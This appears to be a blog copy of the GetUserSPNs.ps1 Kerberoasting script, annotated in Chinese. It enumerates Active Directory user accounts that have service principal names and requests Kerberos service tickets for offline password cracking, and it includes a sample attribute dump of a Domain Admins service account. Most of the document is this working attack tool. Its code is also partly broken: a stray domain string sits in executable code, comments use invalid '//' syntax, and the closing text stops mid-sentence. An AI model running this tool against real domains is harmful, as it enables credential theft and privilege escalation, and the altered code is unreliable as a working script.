代码如下所示
# Edits by Tim Medin
# File: GetUserSPNS.ps1
# Contents: Query the domain to find SPNs that use User accounts
# Comments: This is for use with Kerberoast https://github.com/nidem/kerberoast
# The password hash used with Computer accounts are infeasible to
# crack; however, if the User account associated with an SPN may have
# a crackable password. This tool will find those accounts. You do not
# need any special local or domain permissions to run this script.
# This script on a script supplied by Microsoft (details below).
# History: 2016/07/07 Tim Medin Add -UniqueAccounts parameter to only get unique SAMAccountNames
# 2016/04/12 Tim Medin Added -Request option to automatically get the tickets
# 2014/11/12 Tim Medin Created
[CmdletBinding()]
Param(
[Parameter(Mandatory=$False,Position=1)] [string]$GCName,
[Parameter(Mandatory=$False)] [string]$Filter,
[Parameter(Mandatory=$False)] [switch]$Request,
[Parameter(Mandatory=$False)] [switch]$UniqueAccounts
)
Add-Type -AssemblyName System.IdentityModel
$GCs = @()
If ($GCName) {
$GCs += $GCName
} else { # find them
#获取当前用户上下文的林对象。
$ForestInfo = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
#在该目录林中查找给定站点的所有全局目录。
$CurrentGCs = $ForestInfo.FindAllGlobalCatalogs()
ForEach ($GC in $CurrentGCs) {
#$GCs += $GC.Name
DC=dc,DC=dbapp-lab,DC=com
$GCs += $ForestInfo.ApplicationPartitions[0].SecurityReferenceDomain
}
}
if (-not $GCs) {
# no Global Catalogs Found
Write-Host "No Global Catalogs Found!"
Exit
}
<#
Things you can extract
Name Value
---- -----
admincount {1}
samaccountname {sqlengine}
useraccountcontrol {66048}
primarygroupid {513}
userprincipalname {sqlengine@medin.local}
instancetype {4}
displayname {sqlengine}
pwdlastset {130410454241766739}
memberof {CN=Domain Admins,CN=Users,DC=medin,DC=local}
samaccounttype {805306368}
serviceprincipalname {MSSQLSvc/sql01.medin.local:1433, MSSQLSvc/sql01.medin.local}
usnchanged {135252}
lastlogon {130563243107145358}
accountexpires {9223372036854775807}
logoncount {34}
adspath {LDAP://CN=sqlengine,CN=Users,DC=medin,DC=local}
distinguishedname {CN=sqlengine,CN=Users,DC=medin,DC=local}
badpwdcount {0}
codepage {0}
name {sqlengine}
whenchanged {9/22/2014 6:45:21 AM}
badpasswordtime {0}
dscorepropagationdata {4/4/2014 2:16:44 AM, 4/4/2014 12:58:27 AM, 4/4/2014 12:37:04 AM,...
lastlogontimestamp {130558419213902030}
lastlogoff {0}
objectclass {top, person, organizationalPerson, user}
countrycode {0}
cn {sqlengine}
whencreated {4/4/2014 12:37:04 AM}
objectsid {1 5 0 0 0 0 0 5 21 0 0 0 191 250 179 30 180 59 104 26 248 205 17...
objectguid {101 165 206 61 61 201 88 69 132 246 108 227 231 47 109 102}
objectcategory {CN=Person,CN=Schema,CN=Configuration,DC=medin,DC=local}
usncreated {57551}
#>
ForEach ($GC in $GCs) {
//对Active Directory域服务执行查询
$searcher = New-Object System.DirectoryServices.DirectorySearcher
//创建DirectorySearcher的实例时,可以指定要检索的根目录
//LDAP://DC=dc,DC=dbapp-lab,DC=com
$searcher.SearchRoot = "LDAP://" + $GC
//执行分页搜索。设置PageSize属性以指定在页面搜索中返回的最大对象数。如果您不想执行分页搜索,请将PageSize属性设置为其默认值零。
$searcher.PageSize = 1000
//获取或设置一个值,该值指示轻型目录访问协议(LDAP)格式过滤器字符串
//LDAP格式的搜索过滤器字符串,例如“((objectClass = user)”)。默认值为“(objectClass = *)”,它将检索所有对象
//复合表达式由前缀运算符&和|组成。一个示例是“(&(objectClass = user)(lastName = Davis))
$searcher.Filter = "(&(!objectClass=computer)(servicePrincipalName=*))"
//获取一个值,该值指示在搜索期间要检索的属性列表,其中包含要在搜索过程中检索的属性集,服务主体名称的值就是ServicePrincipalName属性的值。
$searcher.PropertiesToLoad.Add("serviceprincipalname") | Out-Null
$searcher.PropertiesToLoad.Add("name") | Out-Null
$searcher.PropertiesToLoad.Add("samaccountname") | Out-Null
#$searcher.PropertiesToLoad.Add("userprincipalname") | Out-Null
#$searcher.PropertiesToLoad.Add("displayname") | Out-Null
$searcher.PropertiesToLoad.Add("memberof") | Out-Null
$searcher.PropertiesToLoad.Add("pwdlastset") | Out-Null
#$searcher.PropertiesToLoad.Add("distinguishedname") | Out-Null
//获取或设置一个值,该值指示服务器所观察到的搜索范围。
$searcher.SearchScope = "Subtree"
//执行搜索并返回找到的项的集合。
$results = $searcher.FindAll()
[System.Collections.ArrayList]$accounts = @()
foreach ($result in $results) {
foreach ($spn in $result.Properties["serviceprincipalname"]) {
#指定$result为输入的内容,-Property指定需要输出的属性设置
$o = Select-Object -InputObject $result -Property `
@{Name="ServicePrincipalName"; Expression={$spn.ToString()} }, `
@{Name="Name"; Expression={$result.Properties["name"][0].ToString()} }, `
#@{Name="UserPrincipalName"; Expression={$result.Properties["userprincipalname"][0].ToString()} }, `
@{Name="SAMAccountName"; Expression={$result.Properties["samaccountname"][0].ToString()} }, `
#@{Name="DisplayName"; Expression={$result.Properties["displayname"][0].ToString()} }, `
@{Name="MemberOf"; Expression={$result.Properties["memberof"][0].ToString()} }, `
@{Name="PasswordLastSet"; Expression={[datetime]::fromFileTime($result.Properties["pwdlastset"][0])} } #, `
#@{Name="DistinguishedName"; Expression={$result.Properties["distinguishedname"][0].ToString()} }
//Add -UniqueAccounts parameter to only get unique SAMAccountNames
if ($UniqueAccounts) {
if (-not $accounts.Contains($result.Properties["samaccountname"][0].ToString())) {
$accounts.Add($result.Properties["samaccountname"][0].ToString()) | Out-Null
$o
//Added -Request option to automatically get the tickets
if ($Request) {
//使用与指定的服务主体名称关联的服务来初始化 KerberosRequestorSecurityToken 类的新实例,该KerberosRequestorSecurityToken安全令牌是由使用该客户端使用KerberosRequestorSecurityToken安全令牌在传出SOAP消息,该令牌基于SOAP请求中发送的Kerberos票证,根据扫描出的结果使用微软提供的类 KerberosRequestorSecurityToken 发起 kerberos 请求,申请 ST 票据
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $spn.ToString() | Out-Null
}
}
} else {
$o
if ($Request) {
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $spn.ToString() | Out-Null
}
}
}
}
}
获取当前用户上下文的林对象
[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
在该目录林中查找给定站点的所有全局目录
$ForestInfo.FindAllGlobalCatalogs()
获取林中所有应用程序分区的集合当中的第一个成员的安全域
$ForestInfo.ApplicationPartitions[0].SecurityReferenceDomain
下面就是默认设置的检索的内容,下面显示的就是我们